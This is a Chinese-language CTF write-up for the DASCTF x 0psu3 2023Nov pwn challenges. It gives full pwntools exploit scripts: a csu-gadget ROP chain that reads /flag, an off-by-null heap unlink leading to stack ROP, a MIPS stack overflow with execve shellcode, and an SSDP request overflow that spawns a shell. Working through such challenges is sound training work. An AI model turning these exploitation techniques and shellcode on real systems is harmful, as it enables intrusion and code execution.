DASCTF x 0psu3 2023Nov Pwn WriteUp

DASCTF x 0psu3 2023Nov Pwn WriteUp

官方WriteUp

比赛页面&附件下载

a_sad_story

给了&initial,相当于没开pie。

可以在got里面算出一个open然后orw即可。

似乎只要是glibc编译出的动态链接程序都有这么一段gadget:

1
add dword ptr [rbp-0x3d], ebx;

rbp显然可控,其他的走csu就能搞定

然后就是csu只能控低位rdi,需要单独注意一下。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./challenge")
s=remote("node4.buuoj.cn",26971)
elf=ELF("./challenge")
libc=ELF("./libc-2.31.so")

# 0x0000000000001232 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax] ; ret

s.sendline(b"1")
s.sendline(b"1")
s.recvuntil("initial函数的地址:")
elf.address=int(s.recvline()[:-1],16)-0x1249
success(hex(elf.address))

magic=elf.address+0x1232
csu1=elf.address+0x163A
csu2=elf.address+0x1620
bss=elf.address+0x4500
ropp=ROP(elf)
rdi=ropp.find_gadget(['pop rdi','ret'])[0]
rsp=ropp.find_gadget(['pop rsp','pop r13','pop r14','pop r15','ret'])[0]
rbp=ropp.find_gadget(['pop rbp','ret'])[0]
roppp=ROP(libc)
syscall_ret=roppp.find_gadget(['syscall','ret'])[0]

s.sendline(b"2")
pad=b"a"*0x38
p=flat([
    pad,
    rdi,bss,
    elf.plt.gets,
    rsp,bss-0x18,
])
s.sendline(p)

p=flat([
    rdi+1,csu1,0x10dce0-0x84420,elf.got.puts+0x3d,0,0,0,0,
    magic,
    csu1,0,1,bss+0x300,0,0,bss,
    csu2,0,0,1,0,0,0,elf.got.puts,
    rdi,bss+0x300,
    csu2+9,0,0,1,1,bss+0x300,0x300,elf.got.read,
    csu2,0,0x10e060-0x10dce0,elf.got.puts+0x3d,0,0,0,0,
    magic,
    csu1,0,1,2,bss+0x300,0x300,elf.got.puts,
    csu2
]).ljust(0x300,b"\x00")+b"/flag"
pause()
s.sendline(p)

s.interactive()

garbage

off-by-null独立存在于edit,add处用的read,可以发eof不读入任何东西。信息泄露不是问题,就很简单了。

发送EOF参见此处

没开pie,可以打unlink,把某个指针指向bss,进而任意地址读写,打栈即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
import tty
context(arch='amd64', os='linux', log_level='debug')
#s=process("./challenge")
s=remote("node4.buuoj.cn",25335)    
elf=ELF("./challenge")
libc=ELF("./libc.so.6")

time_interval=0.1

def menu(ch):
    sleep(time_interval)
    #s.sendlineafter(b"choice: ",str(ch).encode())
    s.sendline(str(ch).encode())
def add(idx,sz,content,clean_flag=False):
    menu(1)
    s.sendlineafter(b"idx of garbage: ",str(idx).encode())
    s.sendlineafter(b"size of garbage: ",str(sz).encode())
    s.sendafter(b"content of garbage: ",content)
    if clean_flag:
        s.clean()
def delete(idx):
    menu(2)
    s.sendlineafter(b"idx of garbage: ",str(idx).encode())
def show(idx):
    menu(3)
    s.sendlineafter(b"idx of garbage: ",str(idx).encode())
    s.recvuntil(b"Content: ")
    return s.recvline()[:-1]
def edit(idx,content):
    menu(4)
    s.sendlineafter(b"idx of garbage: ",str(idx).encode())
    s.sendafter(b"content of garbage: ",content)

if __name__=="__main__":
    sleep(1)
    add(0,0x410,b"A")
    add(1,0x418,b"A")
    delete(0)
    add(0,0x410,chr(tty.CEOF).encode(),clean_flag=True)
    libc.address=u64(show(0).ljust(8,b"\x00"))-(0x7fb75e1d9c04-0x7fb75dfc0000)
    success("libc base: "+hex(libc.address))

    add(2,0x500,b"A")
    add(3,0x410,b"A")
    delete(2)
    add(4,0x510,b"A")
    add(5,0x500,b"A"*0x10)
    heap_base=u64(show(5)[0x10:0x18].ljust(8,b"\x00"))&(~0xfff)
    success("heap base:"+hex(heap_base))
    
    delete(4)
    delete(3)
    delete(5)
    delete(1)
    delete(0)
    #pause()
    add(0,0x428,b"A")
    add(8,0x428,b"A")
    add(7,0x4f8,b"A")
    edit(0,flat([
        0,0x851,
        0x404060-0x18,0x404060-0x10,
    ])+b"\n")
    edit(8,b"\x00"*0x420+p64(0x850))
    add(6,0x418,b"A")
    delete(7)
    #pause()

    edit(0,flat([
        0,0,0,
        0x404060,libc.sym["environ"],
        0,0,0,0,0,0,0,0,0,0,
        p32(0x100)*4
    ])+b"\n")
    pause()
    stack=u64(show(1).ljust(8,b"\x00"))
    target_ret=stack+(0x7fffd95651e8-0x7fffd9565348)

    success(hex(target_ret))
    pause()
    edit(0,flat([
        0x404060,target_ret,
    ])+b"\n")
    pause()
    edit(1,flat([
        libc.address+0x000000000002be51,0,
        libc.address+0x00000000000796a2,0,
        libc.address+0xebc88
    ])+b"\n")
    s.interactive()

shaopi

开头的那一段盲猜base64。但如果你赛博厨子忘记改utf-8那就寄了。

然后是直接糊脸的mipsel栈溢出。

架构速通可以参考如下链接:

本题中并没有恢复s系列寄存器的epilogue,只剩下fp了,合适的gadget也只有那一个。

至于最后你是抬一下栈还是直接走shellcode就任君选择了。

这里我抬了一下。然后shellcode只要execve就能符合长度要求且能出shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
context(arch="mips",log_level="debug")
#s=process(["qemu-mipsel-static","-g","1234","./challenge"])
s=remote("node4.buuoj.cn",25558)
s.recvuntil(b"your passphrase: ")
s.sendline("三元一串十元三串")
s.recvuntil(b"Congratulation!\n")

shellcode=asm(shellcraft.execve("/bin/sh",0,0)).ljust(0x40,b"\x00")

s.send(shellcode+p32(0x40abb8)+p32(0x43965c)+b"a"*0x58+asm("addi $t9,$t9,0x50-0xa8-0x48;jalr $t9;"))
s.interactive()

fakessdp

静态链接64位elf,黄红红红红。

主逻辑猜就能猜个七七八八,但那些基本不重要。

这个题能不能做出来取决于你能不能看出来strcpy(或者ida抽风与否,我的ida很多函数参数都没识别出来,导致memcpy没看出来)

看出来之后就是找调用链,稍微调一调就出来了。

这里贴一下按照官方放出wp里的exp稍作修改的版本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch="amd64",log_level="debug")
s=process('./fakeSSDP')
s.sendline(b"123")
jmp = 0x414fd4
shellcode = '''
xor    rsi, rsi
push   rsi
movabs r8, 0x68732f2f6e69622f
push   r8
mov rdi,rsp
push   0x3b
pop    rax
cdq    
syscall 
'''
pay = asm(shellcode).ljust(0xe0,b"a")+b'ssdp:all'+p64(jmp)
payload = b'M-SEARCH * HTTP/1.1\r\n' \
    + b'HOST: 239.255.255.250:1900\r\n' \
    + b'MAN: "ssdp:discover"\r\n' \
    + b'MX: 3\r\n' \
    + b'ST: '+pay+b'\r\n' \
    + b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n'
pause()
s.sendline(base64.b64encode(payload))
s.interactive()
0%